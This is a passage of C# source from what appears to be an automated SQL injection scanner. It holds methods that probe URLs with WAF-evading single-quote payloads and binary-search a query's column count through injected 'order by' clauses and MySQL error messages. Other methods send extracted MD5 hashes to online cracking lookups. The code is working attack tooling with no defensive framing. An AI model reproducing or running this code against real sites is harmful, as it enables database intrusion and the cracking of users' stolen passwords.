public static string ReturnCorrectBaseUrLandGetSingleQuoteHtml(string url) { List <string> newSingleQuoteUrls = new List <string>(); for (int i = 0; i < WafSingleQuote.Count(); i++) { newSingleQuoteUrls.Add(url + WafSingleQuote[i]); } // ReSharper disable once ForCanBeConvertedToForeach for (int i = 0; i < newSingleQuoteUrls.Count; i++) { try { string testHtml = HelpfulFunctions.GetHtml(newSingleQuoteUrls[i]); if (!testHtml.Contains("owner has denied your access to the site")) { SingleQuoteHtml = testHtml; return(newSingleQuoteUrls[i]); } } catch (Exception ex) { Debug.WriteLine(ex.Message); } } return("0"); }
public static string GetRawGitHubText(string masterGitHubUsername, string fileName) { string rawGitHubVersionUrl = "http://raw.githubusercontent.com/" + masterGitHubUsername + "/DGWebScanner/master/" + fileName; VersionNumberHtml = HelpfulFunctions.GetHtml(rawGitHubVersionUrl); NewVersionNumber = VersionNumberHtml.TrimEnd('\n'); return(NewVersionNumber); }
public static string GetNitrxgenDecodedHash(string inputOriginalHash) { string hashKillerHtml = HelpfulFunctions.GetHtml("http://www.nitrxgen.net/md5db/" + inputOriginalHash); if (hashKillerHtml.Length == 0 || hashKillerHtml.Contains("$HEX[")) { return("0"); } return(hashKillerHtml); }
public static string GetHashKillerDecodedHash(string inputHashUrl, string inputOriginalHash) { string hashKillerHtml = HelpfulFunctions.GetHtml(inputHashUrl); Regex hashMatch = new Regex("^" + inputOriginalHash + "\\s(.*?)$", RegexOptions.Multiline); Match decodedHash = hashMatch.Match(hashKillerHtml); if (decodedHash.Groups[1].ToString() == string.Empty) { return("0"); } return(decodedHash.Groups[1].ToString()); }
public static int GetAvailableColumns(string beforeEqual, string afterEqual) { string baseUrl = beforeEqual + "=-" + afterEqual + "+order+by+" + "!@CURRENTCOLUMN@!" + "--"; for (int n = 0; n < WafOrderBy.Count(); n++) { int minAvailableColumns = 1; int maxAvailableColumns = 50; int columnToCheck = (maxAvailableColumns + minAvailableColumns) / 2; do { AvailableColumnsUrl = baseUrl.Replace("!@CURRENTCOLUMN@!", columnToCheck.ToString()); string lol = AvailableColumnsUrl; AvailableColumnsHtml = HelpfulFunctions.GetHtml(AvailableColumnsUrl); string two = AvailableColumnsHtml; if (AvailableColumnsHtml.Contains("expects parameter 1 to be resource, boolean") || AvailableColumnsHtml.Contains(": Invalid argument supplied for foreach()") || AvailableColumnsHtml.Contains("MySQL Query Error")) { Debug.WriteLine("Error found. Column doesn't exist. Check lower."); maxAvailableColumns = columnToCheck; columnToCheck = (minAvailableColumns + maxAvailableColumns) / 2; } else { Debug.WriteLine("No error found. Column does exist. Keep going up."); minAvailableColumns = columnToCheck; columnToCheck = (minAvailableColumns + maxAvailableColumns) / 2; } if (AvailableColumnsHtml.Contains("(403) Forbidden")) { minAvailableColumns = 49; } } while (maxAvailableColumns != minAvailableColumns + 1); if (minAvailableColumns != 49 && maxAvailableColumns != 50) { return(columnToCheck); } if (n != WafOrderBy.Count() - 1) { baseUrl = baseUrl.Replace(WafOrderBy[n], WafOrderBy[n + 1]); } } return(50); }